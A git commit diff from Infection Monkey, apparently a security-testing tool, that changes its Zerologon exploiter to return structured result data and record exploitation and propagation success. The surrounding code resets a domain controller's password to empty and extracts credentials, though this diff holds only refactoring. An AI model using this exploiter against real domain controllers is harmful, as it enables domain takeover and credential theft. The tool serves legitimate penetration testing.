Agent: use exploit_results in zerologon

This commit is contained in:
vakarisz 2022-03-07 16:42:57 +02:00 committed by Mike Salvatore
parent 325e58cea2
commit c322446aee
1 changed files with 6 additions and 3 deletions

View File

@ -22,6 +22,7 @@ from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump
from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.i_puppet.credential_collection import Credentials
from infection_monkey.telemetry.credentials_telem import CredentialsTelem
from infection_monkey.utils.capture_output import StdoutCapture
@ -46,11 +47,12 @@ class ZerologonExploiter(HostExploiter):
def __del__(self):
self._secrets_dir.cleanup()
def _exploit_host(self) -> bool:
def _exploit_host(self) -> ExploiterResultData:
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
can_exploit, rpc_con = is_exploitable(self)
if can_exploit:
self.exploit_result.exploitation_success = True
logger.info("Target vulnerable, changing account password to empty string.")
# Start exploiting attempts.
@ -64,10 +66,11 @@ class ZerologonExploiter(HostExploiter):
"Exploit not attempted. Target is most likely patched, or an error was "
"encountered."
)
return False
return self.exploit_result
# Restore DC's original password.
if _exploited:
self.exploit_result.propagation_success = True
if self.restore_password():
self.exploit_info["password_restored"] = True
self.store_extracted_creds_for_exploitation()
@ -78,7 +81,7 @@ class ZerologonExploiter(HostExploiter):
else:
logger.info("System was not exploited.")
return _exploited
return self.exploit_result
@staticmethod
def connect_to_dc(dc_ip) -> object: